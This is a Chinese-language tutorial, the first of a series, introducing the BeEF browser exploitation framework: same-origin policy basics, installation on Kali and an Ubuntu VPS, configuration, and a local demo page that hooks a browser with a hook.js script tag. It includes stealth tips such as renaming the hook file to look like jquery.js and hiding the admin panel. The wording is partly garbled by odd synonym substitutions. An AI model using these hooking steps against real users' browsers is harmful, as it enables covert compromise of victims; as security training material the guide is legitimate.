阅读器攻击框架BeEF Part 1
*
媒介
笔者发现国内很少有体系先容BeEF框架的文章,所以笔者决定写一个系列。内容触及攻击阅读器的手艺,首要先容这些手艺的道理,并怎么样操作BeEF来完成,不触及阅读器本身漏洞(门槛太高,黑客漏洞,笔者有意无力)。
豫备知识
在看这个系列之前,读者最佳要有一定知识贮备。起首是对HTTP协定(CORS、 CSP等)要有一定的理解,其次是理解Web安全的常见攻击手艺的道理以及防御要领(譬如XSS、CSRF、SQL inject等), 最后要是读者懂javascript说话就更好(可选,笔者的js也不咋地)。笔者认为学习BeEF框架的难度大概以及学习Metasploit、 Burp Suite 的难度差不久不多。
下面给出学习这些知识的参考:
HTTP 协定相干文档: https://developer.mozilla.org/zh-CN/docs/Web/HTTP
阅读器攻击手艺道理: 黑客攻防手艺宝典阅读器实战篇 (书)
BeEF 框架相干文档: https://github.com/beefproject/beef/wiki
同源策略
说到攻击阅读器,那么就一定要说同源策略(Same Origin Policy, SOP)。 同源策略是用于制约不同来源的资源之间的交互。在阅读器上定义了对于不同的页面,要是他们的主机名、协定以及端口都相同,即为同源。记得三个要素主机名、协定以及端口。来个例子:
http://www.A.com/index.html 的js是不能读/写 http://www.B.com/index.html, https://www.A.com/index.html, http://www.A.com:8080/index.html 的内容。
BeEF框架
BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年最先创建的,至今还在珍爱。是由ruby说话开发的专程针对阅读器攻击的框架。这个框架也属于cs的结构,详细可以看下图:
zombie(僵尸)即受害的阅读器。zombie是被hook(勾连)的,要是阅读器走访了有勾子(由js编写)的页面,就会被hook,勾连的阅读器会执行初始代码返归一些信息,接着zombie会每一隔一段时间(默认为1秒)就会向BeEF服务器发送一个要求,讯问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用,被分为前端UI, 以及后端。前端会轮询后端是否有新的数据需要更新,同时前端也能够向后端发送唆使, BeEF持有者可以通过阅读器来登录BeEF 的后台治理UI。
BeEF 装置以及设置
BeEF 需要ruby 2.3 + 以及 SQLite (或者mysql/postgres)。
在kali下使用BeEF
kali默认已经装置BeEF了。BeEF是Favorites 菜单中的一个(可以看出它的受欢迎程度以及位置了),其标志是一个蓝色的公牛。命令是beef-xss:
关上五秒后,它还会使用阅读器关上治理页面的UI,默认帐号暗码是:beef/beef,默认治理页面的UI 地址是:http://127.0.0.1:3000/ui/panel
kali已经把beef-xss做成服务了,推荐使用systemctl 命令来启动或关闭beef服务器
systemctl start beef-xss.service #开启beef
systemctl stop beef-xss.service #关闭beef
systemctl restart beef-xss.service #重启beef
在ubuntu17.10中装置BeEF
要是只是作为测试或者学习,使用kali中beef就已经充足了。要是是希翼在真实环境中使用,那么就需要一台拥有自力ip的主机(能被走访),下面笔者先容在一台vps,体系是ubuntu 17.10体系中装置的过程, 要是没有vps, 可以跳过这一部分。
起首在vps中,初始用户通常为root。root是无法装置某些ruby的一些扩大包(考虑到安全问题),所以需要一个降权的用户。
#创建一个beef的用户
useradd -m -d /home/beef -s /bin/bash beef
#配置beef的暗码,最佳使用强暗码
passwd beef
#把beef用户加入sudo, root 组
usermod -aG root,sudo beef
#转到beef用户
su beef
接着就是装置beef了
#进入家目录
cd
#获取源文件
wget https://github.com/beefproject/beef/archive/master.zip
sudo apt update && sudo apt upgrade -y && sudo apt install unzip ruby ruby-dev -y
#解压master.zip
unzip master.zip
cd beef-master
#装置beef
./install
笔者在装置过程中遇到/var/lib/gems/2.3.0, /usr/local/bin 这两个目录没有写权限的错误,下面是解决要领:
sudo chmod g+w /var/lib/gems/2.3.0
sudo chmod g+w /usr/local/bin
#再次运行
./install
环境不同也许读者会遇到其它错误。遇到错误可以先看一下错误信息,看看能否自行解决,要是不行,那么就查找网上帮助。在互联网中,想要找一个问题的谜底,使用错误信息来搜索往往是最快的。
把beef从sudo, root 组中移除:
#运行
sudo chmod g-w /var/lib/gems/2.3.0 && sudo chmod g-w /usr/local/bin
sudo gpasswd -d beef root && gpasswd -d beef sudo
最后运行beef, 建议别使用root来运行beef服务器, 既然已经创建了一个id为beef的用户,那么之后都以这个用户来运行beef服务器会更好。
#进入beef地点目录
cd /home/beef/beef-master
#之后台模式运行beef服务器,且即使ssh断开了,也不影响beef 服务器。
nohup ./beef &
设置BeEF
kali下的BeEF设置文件在 /usr/share/beef-xss/config.yaml,别的的设置文件也在这个目录的子目录下,今后在使用某些功能时,需要修改对应的设置文件。自立装置的BeEF设置文件会在BeEF的主目录下config.yaml,建议修改几个地方:
### 指定某个网段,只有在这个网段的阅读器才能被hook
permitted_hooking_subnet: "0.0.0.0/0"
### 指定某个网段,只有在这个网段的阅读器才能走访治理UI
permitted_ui_subnet: "0.0.0.0/0"
### 上面这两项都是可以被绕过的,只需使用X-Forwarded-For首部绕过,一般不需要配置
### 配置beef服务器的主机, 要是有本人的域名, 那么可以配置本人的域名, 没有就使用默认
host: "0.0.0.0"
### 配置beef服务器监听的端口, 可以本人定一个,譬如8080, 记得端口号需要大于1024
port: "3000"
### 受害阅读器轮询beef主机的时间, 默认为1秒,可以配置为更低。
xhr_poll_timeout: 1000
#public: "" # public hostname/IP address
#public_port: "" # experimental
### 这是让BeEF运行在一个反向代办署理或者NAT环境下才需要配置的。
### 治理页面的URI, 默认是/ui, 建议修改,如许就不会让别人找到你的治理页面
web_ui_basepath: "/ui"
### hook_file 的名称, 建议修改, 可以修改成jquery.js之类的来抬举隐蔽性
hook_file: "/hook.js"
### 治理页面登录的用户名以及暗码, 这个一定要改,两个都改是最佳的
credentials:
user: "beef"
passwd: "beef"
小试牛刀
接下来实际使用BeEF,体验一下。先开启BeEF服务器,接着用阅读器走访治理页面http://127.0.0.1:3000/ui/panel, 使用配置的用户/暗码登录。
接着走访有勾子的页面http://127.0.0.1:3000/demos/basic.html 这里的主机名以及端口号要按照你配置的来修改, 这里要注意一下kali下beef版本的勾子不支持IE8,最新版或者旧一些的版本可以。所以要使用其他阅读器来走访有勾子的页面。
下面给出一个写有勾子的页面,把创建文件test.html,并把下面内容写到其中:
<html>
<head>
<script src='http://127.0.0.1:3000/hook.js'></script> <!-- 这里的主机以及端口号,需要以及设置文件的一致。 -->
</head>
<body>
Hello World
</body>
</html>
接着使用一个阅读器来关上,那么这个阅读器就会被hook了。
查看治理页面UI会是类似下面图:
选一个简单的模块来试试, 下图是选用了Host –> Detect Virtual Machine 模块来查看受害阅读器是否在捏造机上运行的:
BeEF的入门使用就是这么简单,所有的功能都已经写好了,我们只要要选择模块,配置参数(无意不需要),点击Execute 就可以了。 当然必须知道这些模块的作用才行。
读者可能发现在每一个模块的前面都有一个有色(绿色,灰色,橙色,红色)的小圆标志。
在内部,BeEF可以检测出哪些命令模块可以在当前受害的阅读器工作, 并用色采表示:
绿色:命令模块可以在目标阅读器上运行,且用户不会感到任何异常
橙色:命令模块可以在目标阅读器上运行,然则用户可能会感到异常(譬如可能会有弹窗,提示,跳转等)
灰色:命令模块还没有针对此目标进行验证,即不知道能否可运行
红色:命令模块不适用于此目标
结语
到这里,第一部分对于BeEF的先容就结束了。读者可以本人测试一下有绿色的命令模块,熟识一下。希翼读者在读完本篇以后会对BeEF有一个清晰的认识, 要是没有,也不用担心,这个系列还有好几篇,慢慢的读者就会明白BeEF了,并且会惊讶于它的能力。最后,欢迎在评述里纠错,或者有什么疑问也能够留言。
*